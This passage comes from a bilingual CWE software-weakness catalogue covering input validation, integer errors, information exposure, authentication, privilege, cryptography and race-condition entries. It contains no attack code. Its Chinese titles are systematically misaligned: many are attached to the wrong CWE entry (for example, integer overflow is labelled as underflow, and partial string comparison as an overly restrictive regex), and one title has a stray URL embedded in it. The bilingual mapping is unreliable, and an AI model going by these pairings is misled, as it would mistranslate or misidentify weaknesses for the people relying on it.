by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input that is unsafe, leading to resultant weaknesses. ### CWEID:CWE-181 Incorrect Behavior Order: Validate Before Filter title_zh:宽松定义的白名单 The product validates data before it has been filtered, which prevents the product from detecting data that becomes invalid after the filtering step. ### CWEID:CWE-184 Incomplete List of Disallowed Inputs title_zh:不完整的黑名单 The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete, leading to resultant weaknesses. ### CWEID:CWE-186 Overly Restrictive Regular Expression title_zh:不正确的正则表达式 A regular expression is overly restrictive, which prevents dangerous values from being detected. ### CWEID:CWE-187 Partial String Comparison title_zh:过度严格的正则表达式 The product performs a comparison that only examines a portion of a factor before determining whether there is a match, such as a substring, leading to resultant weaknesses. ### CWEID:CWE-185 Incorrect Regular Expression title_zh:部分比较 The product specifies a regular expression in a way that causes data to be improperly matched or compared. ### CWEID:CWE-188 Reliance on Data/Memory Layout title_zh:依赖数据/内存布局 The product makes invalid assumptions about how protocol data or memory is organized at a lower level, resulting in unintended program behavior. ### CWEID:CWE-190 Integer Overflow or Wraparound title_zh:整数下溢(超界折返) The product performs a calculation that can produce an integer overflow or wraparound, when the logic assumes that the resulting value will always be larger than the original value. This can introduce other weaknesses when the calculation is used for resource management or execution control. ### CWEID:CWE-191 Integer Underflow (Wrap or Wraparound) title_zh:整数强制转换错误 The product subtracts one value from another, such that the result is less than the minimum allowable integer value, which produces a value that is not equal to the correct result. ### CWEID:CWE-192 Integer Coercion Error title_zh:整数溢出或超界折返 Integer coercion refers to a set of flaws pertaining to the type casting, extension, or truncation of primitive data types. ### CWEID:CWE-193 Off-by-one Error title_zh:Off-by-one错误 A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value. ### CWEID:CWE-194 Unexpected Sign Extension title_zh:无符号至有符号转换错误 The product performs an operation on a number that causes it to be sign extended when it is transformed into a larger data type. When the original number is negative, this can produce unexpected values that lead to resultant weaknesses. ### CWEID:CWE-195 Signed to Unsigned Conversion Error title_zh:未预期的符号扩展 The product uses a signed primitive and performs a cast to an unsigned primitive, which can produce an unexpected value if the value of the signed primitive can not be represented using an unsigned primitive. ### CWEID:CWE-198 Use of Incorrect Byte Ordering title_zh:有符号至无符号转换错误 The product receives input from an upstream component, but it does not account for byte ordering (e.g. big-endian and little-endian) when processing the input, causing an incorrect number or value to be used. ### CWEID:CWE-197 Numeric Truncation Error title_zh:数值截断错误 Truncation errors occur when a primitive is cast to a primitive of a smaller size and data is lost in the conversion. ### CWEID:CWE-201 Insertion of Sensitive Information Into Sent Data title_zh:字节序使用不正确 The code transmits data to another actor, but a portion of the data includes sensitive information that should not be accessible to that actor. ### CWEID:CWE-196 Unsigned to Signed Conversion Error title_zh:通过数据查询的敏感数据暴露 The product uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive. ### CWEID:CWE-202 Exposure of Sensitive Information Through Data Queries title_zh:信息暴露 When trying to keep information confidential, an attacker can often infer some of the information by using statistics. ### CWEID:CWE-204 Observable Response Discrepancy title_zh:通过行为差异性导致的信息暴露 The product provides different responses to incoming requests in a way that reveals internal state information to an unauthorized actor outside of the intended control sphere. ### CWEID:CWE-206 Observable Internal Behavioral Discrepancy title_zh:通过发送数据的信息暴露 The product performs multiple behaviors that are combined to produce a single result, but the individual behaviors are observable separately in a way that allows attackers to reveal internal state or internal decision points. ### CWEID:CWE-205 Observable Behavioral Discrepancy title_zh:通过差异性导致的信息暴露 The product's behaviors indicate important differences that may be observed by unauthorized actors in a way that reveals (1) its internal state or decision process, or (2) differences from other products with equivalent functionality. ### CWEID:CWE-207 Observable Behavioral Discrepancy With Equivalent Products title_zh:响应差异性信息暴露 The product operates in an environment in which its existence or specific identity should not be known, but it behaves differently than other products with equivalent functionality, in a way that is observable to an attacker. ### CWEID:CWE-200 Exposure of Sensitive Information to an Unauthorized Actor title_zh:通过行为不一致性导致的内部状态信息暴露 The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. ### CWEID:CWE-203 Observable Discrepancy title_zh:通过外部行为不一致性导致的信息暴露 The product behaves differently or sends different responses under different circumstances in a way that is observable to an unauthorized actor, which exposes security-relevant information about the state of the product, such as whether a particular operation was successful or not. ### CWEID:CWE-208 Observable Timing Discrepancy title_zh:通过时间差异性导致的信息暴露 Two separate operations in a product require different amounts of time to complete, in a way that is observable to an actor and reveals security-relevant information about the state of the product, such as whether a particular operation was successful or not. ### CWEID:CWE-211 Externally-Generated Error Message Containing Sensitive Information title_zh:通过自主产生的错误消息导致的信息暴露 The product performs an operation that triggers an external diagnostic or error message that is not directly generated or controlled by the product, such as an error generated by the programming language interpreter that a software application uses. The error can contain sensitive system information. ### CWEID:CWE-213 Exposure of Sensitive Information Due to Incompatible Policies title_zh:通过错误消息导致的信息暴露 The product's intended functionality exposes information to certain actors in accordance with the developer's security policy, but this information is regarded as sensitive according to the intended security policies of other stakeholders such as the product's administrator, users, or others whose information is being processed. ### CWEID:CWE-210 Self-generated Error Message Containing Sensitive Information title_zh:故意性的信息暴露 The product identifies an error condition and creates its own diagnostic or error messages that contain sensitive information. ### CWEID:CWE-212 Improper Removal of Sensitive Information Before Storage or Transfer title_zh:敏感数据的不恰当跨边界移除 The product stores, transfers, or shares a resource that contains sensitive information, but it does not properly remove that information before the product makes the resource available to unauthorized actors. ### CWEID:CWE-214 Invocation of Process Using Visible Sensitive Information title_zh:通过外部产生的错误消息导致的信息暴露 A process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system. ### CWEID:CWE-209 Generation of Error Message Containing Sensitive Information title_zh:通过处理环境导致的信息暴露 The product generates an error message that includes sensitive information about its environment, users, or associated data. ### CWEID:CWE-216 DEPRECATED: Containment Errors (Container Errors) title_zh:容器错误 This entry has been deprecated, as it was not effective as a weakness and was structured more like a category. In addition, the name is inappropriate, since the "container" term is widely understood by developers in different ways than originally intended by PLOVER, the original source for this entry. ### CWEID:CWE-215 Insertion of Sensitive Information Into Debugging Code title_zh:Web根目录下的敏感数据 The product inserts sensitive information into debugging code, which could expose this information if the debugging code is not disabled in production. ### CWEID:CWE-217 DEPRECATED: Failure to Protect Stored Data from Modification title_zh:通过Debug信息导致的信息暴露 This entry has been deprecated because it incorporated and confused multiple weaknesses. The issues formerly covered in this entry can be found at :CWE-766: and :CWE-767:. ### CWEID:CWE-218 DEPRECATED: Failure to provide confidentiality for stored data This weakness has been deprecated because it was a duplicate of :CWE-493:. All content has been transferred to :CWE-493:. ### CWEID:CWE-219 Storage of File with Sensitive Data Under Web Root The product stores sensitive data under the web document root with insufficient access control, which might make it accessible to untrusted parties. ### CWEID:CWE-220 Storage of File With Sensitive Data Under FTP Root title_zh:FTP根目录下的敏感数据 The product stores sensitive data under the FTP server root with insufficient access control, which might make it accessible to untrusted parties. ### CWEID:CWE-221 Information Loss or Omission title_zh:安全相关信息的遗漏 The product does not record, or improperly records, security-relevant information that leads to an incorrect decision or hampers later analysis. ### CWEID:CWE-222 Truncation of Security-relevant Information title_zh:安全相关信息的截断 The product truncates the display, recording, or processing of security-relevant information in a way that can obscure the source or nature of an attack. ### CWEID:CWE-224 Obscured Security-relevant Information by Alternate Name title_zh:信息丢失或遗漏 The product records security-relevant information according to an alternate name of the affected entity, instead of the canonical name. ### CWEID:CWE-223 Omission of Security-relevant Information The product does not record or display information that would be important for identifying the source or nature of an attack, or determining if an action is safe. ### CWEID:CWE-225 DEPRECATED: General Information Management Problems title_zh:通过候选名称导致的安全相关信息混淆 This weakness can be found at :CWE-199:. ### CWEID:CWE-228 Improper Handling of Syntactically Invalid Structure title_zh:语法无效结构处理不恰当 The product does not handle or incorrectly handles input that is not syntactically well-formed with respect to the associated specification. ### CWEID:CWE-226 Sensitive Information in Resource Not Removed Before Reuse title_zh:在释放前未清除敏感信息 The product releases a resource such as memory or a file so that it can be made available for reuse, but it does not clear or "zeroize" the information contained in the resource before the product performs a critical state transition or makes the resource available for reuse by other entities. ### CWEID:CWE-229 Improper Handling of Values title_zh:值处理不恰当 The product does not properly handle when the expected number of values for parameters, fields, or arguments is not provided in input, or if those values are undefined. ### CWEID:CWE-230 Improper Handling of Missing Values title_zh:缺失值处理不恰当 The product does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null. ### CWEID:CWE-231 Improper Handling of Extra Values title_zh:额外值处理不恰当 The product does not handle or incorrectly handles when more values are provided than expected. ### CWEID:CWE-232 Improper Handling of Undefined Values title_zh:未定义值处理不恰当 The product does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name. ### CWEID:CWE-235 Improper Handling of Extra Parameters title_zh:参数问题 The product does not handle or incorrectly handles when the number of parameters, fields, or arguments with the same name exceeds the expected amount. ### CWEID:CWE-237 Improper Handling of Structural Elements title_zh:未对缺失参数进行处理 The product does not handle or incorrectly handles inputs that are related to complex structures. ### CWEID:CWE-236 Improper Handling of Undefined Parameters title_zh:对未定义参数处理不恰当 The product does not handle or incorrectly handles when a particular parameter, field, or argument name is not defined or supported by the product. ### CWEID:CWE-234 Failure to Handle Missing Parameter title_zh:对额外参数处理不恰当 If too few arguments are sent to a function, the function will still pop the expected number of arguments from the stack. Potentially, a variable number of arguments could be exhausted in a function as well. ### CWEID:CWE-239 Failure to Handle Incomplete Element title_zh:结构体元素处理不恰当 The product does not properly handle when a particular element is not completely specified. ### CWEID:CWE-238 Improper Handling of Incomplete Structural Elements title_zh:对不完整结构体元素处理不恰当 The product does not handle or incorrectly handles when a particular structural element is not completely specified. ### CWEID:CWE-240 Improper Handling of Inconsistent Structural Elements title_zh:对不一致结构体元素处理不恰当 The product does not handle or incorrectly handles when two or more structural elements should be consistent, but are not. ### CWEID:CWE-233 Improper Handling of Parameters title_zh:未能处理不完整的元素 The product does not properly handle when the expected number of parameters, fields, or arguments is not provided in input, or if those parameters are undefined. ### CWEID:CWE-243 Creation of chroot Jail Without Changing Working Directory title_zh:非预期数据类型处理不恰当 The product uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail. ### CWEID:CWE-245 J2EE Bad Practices: Direct Management of Connections title_zh:使用内在危险函数 The J2EE application directly manages connections, instead of using the container's connection management facilities. ### CWEID:CWE-246 J2EE Bad Practices: Direct Use of Sockets title_zh:J2EE不安全实践:对连接的直接管理 The J2EE application directly uses sockets instead of using framework method calls. ### CWEID:CWE-241 Improper Handling of Unexpected Data Type title_zh:未改变工作目录时创建chrootJail The product does not handle or incorrectly handles when a particular element is not the expected type, e.g. it expects a digit (0-9) but is provided with a letter (A-Z). ### CWEID:CWE-242 Use of Inherently Dangerous Function title_zh:在释放前清理堆内存不恰当(堆检查) The product calls a function that can never be guaranteed to work safely. ### CWEID:CWE-247 DEPRECATED: Reliance on DNS Lookups in a Security Decision This entry has been deprecated because it was a duplicate of :CWE-350:. All content has been transferred to :CWE-350:. ### CWEID:CWE-244 Improper Clearing of Heap Memory Before Release ('Heap Inspection') title_zh:J2EE不安全实践:对套接字的直接使用 Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory. ### CWEID:CWE-249 DEPRECATED: Often Misused: Path Manipulation title_zh:未捕获的异常 This entry has been deprecated because of name confusion and an accidental combination of multiple weaknesses. Most of its content has been transferred to :CWE-785:. ### CWEID:CWE-253 Incorrect Check of Function Return Value title_zh:对函数返回值的检查不正确 The product incorrectly checks a return value from a function, which prevents it from detecting errors or exceptional conditions. ### CWEID:CWE-257 Storing Passwords in a Recoverable Format title_zh:带着不必要的权限执行http://vulsee.com The storage of passwords in a recoverable format makes them subject to password reuse attacks by malicious users. In fact, it should be noted that recoverable encrypted passwords provide no significant benefit over plaintext passwords since they are subject not only to reuse by malicious attackers but also by malicious insiders. If a system administrator can recover a password directly, or use a brute force search on the available information, the administrator can use the password on other accounts. ### CWEID:CWE-248 Uncaught Exception An exception is thrown from a function, but it is not caught. ### CWEID:CWE-258 Empty Password in Configuration File title_zh:未加检查的返回值 Using an empty string as a password is insecure. ### CWEID:CWE-250 Execution with Unnecessary Privileges title_zh:明文存储口令 The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses. ### CWEID:CWE-252 Unchecked Return Value title_zh:以可恢复格式存储口令 The product does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions. ### CWEID:CWE-256 Plaintext Storage of a Password title_zh:配置文件中缺省空口令 Storing a password in plaintext may result in a system compromise. ### CWEID:CWE-263 Password Aging with Long Expiration title_zh:未使用口令老化机制 The product supports password aging, but the expiration period is too long. ### CWEID:CWE-259 Use of Hard-coded Password title_zh:使用硬编码的口令 The product contains a hard-coded password, which it uses for its own inbound authentication or for outbound communication to external components. ### CWEID:CWE-260 Password in Configuration File title_zh:口令使用弱密码学算法 The product stores a password in a configuration file that might be accessible to actors who do not know the password. ### CWEID:CWE-261 Weak Encoding for Password title_zh:配置文件中存储口令 Obscuring a password with a trivial encoding does not protect the password. ### CWEID:CWE-262 Not Using Password Aging title_zh:口令老化拥有过长有效期 The product does not have a mechanism in place for managing password aging. ### CWEID:CWE-266 Incorrect Privilege Assignment title_zh:特权定义了不安全动作 A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor. ### CWEID:CWE-267 Privilege Defined With Unsafe Actions title_zh:特权授予不正确 A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity. ### CWEID:CWE-268 Privilege Chaining title_zh:特权链锁 Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination. ### CWEID:CWE-271 Privilege Dropping / Lowering Errors title_zh:特权管理不恰当 The product does not drop privileges before passing control of a resource to an actor that does not have those privileges. ### CWEID:CWE-270 Privilege Context Switching Error title_zh:特权上下文切换错误 The product does not properly manage privileges while it is switching between different contexts that have different privileges or spheres of control. ### CWEID:CWE-274 Improper Handling of Insufficient Privileges title_zh:特权放弃/降低错误 The product does not handle or incorrectly handles when it has insufficient privileges to perform an operation, leading to resultant weaknesses. ### CWEID:CWE-277 Insecure Inherited Permissions title_zh:最小特权原则违背 A product defines a set of insecure permissions that are inherited by objects that are created by the program. ### CWEID:CWE-272 Least Privilege Violation title_zh:不充分特权处理不恰当 The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed. ### CWEID:CWE-273 Improper Check for Dropped Privileges title_zh:对于放弃特权的检查不恰当 The product attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded. ### CWEID:CWE-276 Incorrect Default Permissions title_zh:不安全的预留继承权限 During installation, installed file permissions are set to allow anyone to modify those files. ### CWEID:CWE-278 Insecure Preserved Inherited Permissions title_zh:缺省权限不正确 A product inherits a set of insecure permissions for an object, e.g. when copying from an archive file, without user awareness or involvement. ### CWEID:CWE-269 Improper Privilege Management title_zh:不安全的继承权限 The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. ### CWEID:CWE-280 Improper Handling of Insufficient Permissions or Privileges title_zh:不安全的运行时授予权限 The product does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the product in an invalid state. ### CWEID:CWE-281 Improper Preservation of Permissions title_zh:不充分权限或特权的处理不恰当 The product does not preserve permissions or incorrectly preserves permissions when copying, restoring, or sharing objects, which can cause them to have less restrictive permissions than intended. ### CWEID:CWE-282 Improper Ownership Management title_zh:未经验证的属主 The product assigns the wrong ownership, or does not properly verify the ownership, of an object or resource. ### CWEID:CWE-279 Incorrect Execution-Assigned Permissions title_zh:权限预留不恰当 While it is executing, the product sets the permissions of an object in a way that violates the intended permissions that have been specified by the user. ### CWEID:CWE-283 Unverified Ownership title_zh:属主管理不恰当 The product does not properly verify that a critical resource is owned by the proper entity. ### CWEID:CWE-286 Incorrect User Management title_zh:访问控制不恰当 The product does not properly manage a user within its environment. ### CWEID:CWE-288 Authentication Bypass Using an Alternate Path or Channel title_zh:授权机制不恰当 A product requires authentication, but the product has an alternate path or channel that does not require authentication. ### CWEID:CWE-284 Improper Access Control title_zh:用户管理不正确 The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. ### CWEID:CWE-285 Improper Authorization title_zh:认证机制不恰当 The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action. ### CWEID:CWE-289 Authentication Bypass by Alternate Name title_zh:使用候选路径或通道进行的认证绕过 The product performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor. ### CWEID:CWE-290 Authentication Bypass by Spoofing title_zh:使用候选名称进行的认证绕过 This attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks. ### CWEID:CWE-287 Improper Authentication title_zh:信任自主报告的IP地址 When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct. ### CWEID:CWE-293 Using Referer Field for Authentication title_zh:使用欺骗进行的认证绕过 The referer field in HTTP requests can be easily modified and, as such, is not a valid means of message integrity checking. ### CWEID:CWE-291 Reliance on IP Address for Authentication The product uses an IP address for authentication. ### CWEID:CWE-294 Authentication Bypass by Capture-replay title_zh:使用Refer域进行认证 A capture-replay flaw exists when the design of the product makes it possible for a malicious user to sniff network traffic and bypass authentication by replaying it to the server in question to the same effect as the original message (or with minor changes). ### CWEID:CWE-292 DEPRECATED: Trusting Self-reported DNS Name title_zh:使用捕获-重放进行的认证绕过 This entry has been deprecated because it was a duplicate of :CWE-350:. All content has been transferred to :CWE-350:. ### CWEID:CWE-296 Improper Following of a Certificate's Chain of Trust title_zh:对宿主不匹配的证书验证不恰当 The product does not follow, or incorrectly follows, the chain of trust for a certificate back to a trusted root certificate, resulting in incorrect trust of any resource that is associated with that certificate. ### CWEID:CWE-295 Improper Certificate Validation title_zh:证书信任链回溯不恰当 The product does not validate, or incorrectly validates, a certificate. ### CWEID:CWE-298 Improper Validation of Certificate Expiration title_zh:证书验证不恰当 A certificate expiration is not validated or is incorrectly validated, so trust may be assigned to certificates that have been abandoned due to age. ### CWEID:CWE-297 Improper Validation of Certificate with Host Mismatch title_zh:证书过期验证不恰当 The product communicates with a host that provides a certificate, but the product does not properly ensure that the certificate is actually associated with that host. ### CWEID:CWE-299 Improper Check for Certificate Revocation title_zh:证书撤销验证不恰当 The product does not check or incorrectly checks the revocation status of a certificate, which may cause it to use a certificate that has been compromised. ### CWEID:CWE-301 Reflection Attack in an Authentication Protocol title_zh:通道可被非端点访问(中间人攻击) Simple authentication protocols are subject to reflection attacks if a malicious user can use the target machine to impersonate a trusted user. ### CWEID:CWE-303 Incorrect Implementation of Authentication Algorithm title_zh:使用假设不可变数据进行的认证绕过 The requirements for the product dictate the use of an established authentication algorithm, but the implementation of the algorithm is incorrect. ### CWEID:CWE-302 Authentication Bypass by Assumed-Immutable Data title_zh:认证协议中的反射攻击 The authentication scheme or implementation uses key data elements that are assumed to be immutable, but can be controlled or modified by the attacker. ### CWEID:CWE-300 Channel Accessible by Non-Endpoint title_zh:认证算法的不正确实现 The product does not adequately verify the identity of actors at both ends of a communication channel, or does not adequately ensure the integrity of the channel, in a way that allows the channel to be accessed or influenced by an actor that is not an endpoint. ### CWEID:CWE-304 Missing Critical Step in Authentication title_zh:认证中关键步骤缺失 The product implements an authentication technique, but it skips a step that weakens the technique. ### CWEID:CWE-305 Authentication Bypass by Primary Weakness title_zh:使用基本弱点进行的认证绕过 The authentication algorithm is sound, but the implemented mechanism can be bypassed as the result of a separate weakness that is primary to the authentication error. ### CWEID:CWE-309 Use of Password System for Primary Authentication title_zh:过多认证尝试的限制不恰当 The use of password systems as the primary means of authentication may be subject to several flaws or shortcomings, each reducing the effectiveness of the mechanism. ### CWEID:CWE-307 Improper Restriction of Excessive Authentication Attempts title_zh:关键功能的认证机制缺失 The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame, making it more susceptible to brute force attacks. ### CWEID:CWE-313 Cleartext Storage in a File or on Disk title_zh:使用单一因素认证机制 The product stores sensitive information in cleartext in a file, or on disk. ### CWEID:CWE-308 Use of Single-factor Authentication title_zh:使用口令系统作为基本认证机制 The use of single-factor authentication can lead to unnecessary risk of compromise when compared with the benefits of a dual-factor authentication scheme. ### CWEID:CWE-314 Cleartext Storage in the Registry title_zh:敏感数据加密缺失 The product stores sensitive information in cleartext in the registry. ### CWEID:CWE-306 Missing Authentication for Critical Function title_zh:敏感数据的明文存储 The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. ### CWEID:CWE-312 Cleartext Storage of Sensitive Information title_zh:在文件或磁盘上的明文存储 The product stores sensitive information in cleartext within a resource that might be accessible to another control sphere. ### CWEID:CWE-311 Missing Encryption of Sensitive Data title_zh:在注册表中的明文存储 The product does not encrypt sensitive or critical information before storage or transmission. ### CWEID:CWE-316 Cleartext Storage of Sensitive Information in Memory title_zh:在Cookie中的明文存储 The product stores sensitive information in cleartext in memory. ### CWEID:CWE-317 Cleartext Storage of Sensitive Information in GUI title_zh:在GUI中的明文存储 The product stores sensitive information in cleartext within the GUI. ### CWEID:CWE-315 Cleartext Storage of Sensitive Information in a Cookie title_zh:在内存中的明文存储 The product stores sensitive information in cleartext in a cookie. ### CWEID:CWE-318 Cleartext Storage of Sensitive Information in Executable title_zh:在可执行体中的明文存储 The product stores sensitive information in cleartext in an executable. ### CWEID:CWE-322 Key Exchange without Entity Authentication title_zh:敏感数据的明文传输 The product performs a key exchange with an actor without verifying the identity of that actor. ### CWEID:CWE-321 Use of Hard-coded Cryptographic Key title_zh:未进行实体认证的密钥交换 The use of a hard-coded cryptographic key significantly increases the possibility that encrypted data may be recovered. ### CWEID:CWE-325 Missing Cryptographic Step title_zh:使用硬编码的密码学密钥 The product does not implement a required step in a cryptographic algorithm, resulting in weaker encryption than advertised by the algorithm. ### CWEID:CWE-323 Reusing a Nonce, Key Pair in Encryption title_zh:在加密中重用Nonce与密钥对 Nonces should be used for the present occasion and only once. ### CWEID:CWE-319 Cleartext Transmission of Sensitive Information title_zh:使用已过期的密钥 The product transmits sensitive or security-critical data in cleartext in a communication channel that can be sniffed by unauthorized actors. ### CWEID:CWE-324 Use of a Key Past its Expiration Date title_zh:缺少必要的密码学步骤 The product uses a cryptographic key or password past its expiration date, which diminishes its safety significantly by increasing the timing window for cracking attacks against that key. ### CWEID:CWE-326 Inadequate Encryption Strength title_zh:不充分的加密强度 The product stores or transmits sensitive data using an encryption scheme that is theoretically sound, but is not strong enough for the level of protection required. ### CWEID:CWE-328 Use of Weak Hash title_zh:使用已被攻破或存在风险的密码学算法 The product uses an algorithm that produces a digest (output value) that does not meet security expectations for a hash function that allows an adversary to reasonably determine the original input (preimage attack), find another input that can produce the same hash (2nd preimage attack), or find multiple inputs that evaluate to the same hash (birthday attack). ### CWEID:CWE-327 Use of a Broken or Risky Cryptographic Algorithm title_zh:可逆的单向哈希 The product uses a broken or risky cryptographic algorithm or protocol. ### CWEID:CWE-333 Improper Handling of Insufficient Entropy in TRNG title_zh:在CBC加密模式中未使用随机化IV向量 True random number generators (TRNG) generally have a limited source of entropy and therefore can fail or block. ### CWEID:CWE-329 Generation of Predictable IV with CBC Mode title_zh:使用不充分的随机数 The product generates and uses a predictable initialization Vector (IV) with Cipher Block Chaining (CBC) Mode, which causes algorithms to be susceptible to dictionary attacks when they are encrypted under the same key. ### CWEID:CWE-331 Insufficient Entropy title_zh:信息熵不充分 The product uses an algorithm or scheme that produces insufficient entropy, leaving patterns or clusters of values that are more likely to occur than others. ### CWEID:CWE-332 Insufficient Entropy in PRNG title_zh:PRNG中信息熵不充分 The lack of entropy available for, or used by, a Pseudo-Random Number Generator (PRNG) can be a stability and security threat. ### CWEID:CWE-334 Small Space of Random Values title_zh:TRNG不充分信息熵的处理不恰当 The number of possible random values is smaller than needed by the product, making it more susceptible to brute force attacks. ### CWEID:CWE-330 Use of Insufficiently Random Values title_zh:随机数的空间太小 The product uses insufficiently random numbers or values in a security context that depends on unpredictable numbers. ### CWEID:CWE-336 Same Seed in Pseudo-Random Number Generator (PRNG) title_zh:使用具有密码学弱点缺陷的PRNG A Pseudo-Random Number Generator (PRNG) uses the same seed each time the product is initialized. ### CWEID:CWE-335 Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) title_zh:PRNG种子错误 The product uses a Pseudo-Random Number Generator (PRNG) but does not correctly manage seeds. ### CWEID:CWE-340 Generation of Predictable Numbers or Identifiers title_zh:PRNG中使用相同种子 The product uses a scheme that generates numbers or identifiers that are more predictable than required. ### CWEID:CWE-337 Predictable Seed in Pseudo-Random Number Generator (PRNG) title_zh:PRNG中使用可预测种子 A Pseudo-Random Number Generator (PRNG) is initialized from a predictable seed, such as the process ID or system time. ### CWEID:CWE-341 Predictable from Observable State title_zh:PRNG中的种子空间太小 A number or object is predictable based on observations that the attacker can make about the state of the system or network, such as time, process ID, etc. ### CWEID:CWE-338 Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) title_zh:可预测问题 The product uses a Pseudo-Random Number Generator (PRNG) in a security context, but the PRNG's algorithm is not cryptographically strong. ### CWEID:CWE-342 Predictable Exact Value from Previous Values title_zh:从可观察状态的可预测 An exact value or random number can be precisely predicted by observing previous values. ### CWEID:CWE-339 Small Seed Space in PRNG title_zh:从先前值可预测取值范围 A Pseudo-Random Number Generator (PRNG) uses a relatively small seed space, which makes it more susceptible to brute force attacks. ### CWEID:CWE-343 Predictable Value Range from Previous Values title_zh:从先前值可预测准确值 The product's random number generator produces a series of values which, when observed, can be used to infer a relatively small range of possibilities for the next value that could be generated. ### CWEID:CWE-344 Use of Invariant Value in Dynamically Changing Context title_zh:在动态变化上下文中使用不变值 The product uses a constant value, name, or reference, but this value can (or should) vary across different environments. ### CWEID:CWE-346 Origin Validation Error title_zh:对数据真实性的验证不充分 The product does not properly verify that the source of data or communication is valid. ### CWEID:CWE-347 Improper Verification of Cryptographic Signature title_zh:在可信数据中接受外来的不可信数据 The product does not verify, or incorrectly verifies, the cryptographic signature for data. ### CWEID:CWE-349 Acceptance of Extraneous Untrusted Data With Trusted Data title_zh:使用不可信的源 The product, when processing trusted data, accepts any untrusted data that is also included with the trusted data, treating the untrusted data as if it were trusted. ### CWEID:CWE-345 Insufficient Verification of Data Authenticity title_zh:密码学签名的验证不恰当 The product does not sufficiently verify the origin or authenticity of data, in a way that causes it to accept invalid data. ### CWEID:CWE-351 Insufficient Type Distinction title_zh:源验证错误 The product does not properly distinguish between different types of elements in a way that leads to insecure behavior. ### CWEID:CWE-350 Reliance on Reverse DNS Resolution for a Security-Critical Action title_zh:不充分的类型区分 The product performs reverse DNS resolution on an IP address to obtain the hostname and make a security decision, but it does not properly ensure that the IP address is truly associated with the hostname. ### CWEID:CWE-356 Product UI does not Warn User of Unsafe Actions title_zh:不恰当地信任反向DNS The product's user interface does not warn the user before undertaking an unsafe action on behalf of that user. This makes it easier for attackers to trick users into inflicting damage to their system. ### CWEID:CWE-357 Insufficient UI Warning of Dangerous Operations title_zh:缺失完整性检查支持 The user interface provides a warning to a user regarding dangerous or sensitive operations, but the warning is not noticeable enough to warrant attention. ### CWEID:CWE-358 Improperly Implemented Security Check for Standard title_zh:跨站请求伪造(CSRF) The product does not implement or incorrectly implements one or more security-relevant checks as specified by the design of a standardized algorithm, protocol, or technique. ### CWEID:CWE-353 Missing Support for Integrity Check title_zh:完整性检查值验证不恰当 The product uses a transmission protocol that does not include a mechanism for verifying the integrity of the data during transmission, such as a checksum. ### CWEID:CWE-354 Improper Validation of Integrity Check Value title_zh:产品UI接口未警示用户不安全动作 The product does not validate or incorrectly validates the integrity check values or "checksums" of a message. This may prevent it from detecting if the data has been modified or corrupted in transmission. ### CWEID:CWE-352 Cross-Site Request Forgery (CSRF) title_zh:不恰当实现的标准安全检查 The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. ### CWEID:CWE-359 Exposure of Private Personal Information to an Unauthorized Actor title_zh:对危险操作的UI警示不充分 The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected. ### CWEID:CWE-365 DEPRECATED: Race Condition in Switch title_zh:信任系统事件数据 This entry has been deprecated. There are no documented cases in which a switch's control expression is evaluated more than once. ### CWEID:CWE-360 Trust of System Event Data title_zh:侵犯隐私 Security based on event locations are insecure and can be spoofed. ### CWEID:CWE-364 Signal Handler Race Condition title_zh:允许符号链接跟随的竞争条件 The product uses a signal handler that introduces a race condition. ### CWEID:CWE-363 Race Condition Enabling Link Following title_zh:使用共享资源的并发执行不恰当同步问题(竞争条件) The product checks the status of a file or directory before accessing it, which produces a race condition in which the file can be replaced with a link before the access is performed, causing the product to access the wrong file. ### CWEID:CWE-366 Race Condition within a Thread title_zh:上下文切换时的竞争条件 If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined. ### CWEID:CWE-368 Context Switching Race Condition title_zh:信号处理例程中的竞争条件 A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch. ### CWEID:CWE-370 Missing Check for Certificate Revocation after Initial Check title_zh:Switch语句中的竞争条件 The product does not check the revocation status of a certificate after its initial revocation check, which can cause the product to perform privileged actions even after the certificate is revoked at a later time. ### CWEID:CWE-367 Time-of-check Time-of-use (TOCTOU) Race Condition title_zh:单线程内的竞争条件 The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check. This can cause the product to perform invalid actions when the resource is in an unexpected state. ### CWEID:CWE-372 Incomplete Internal State Distinction 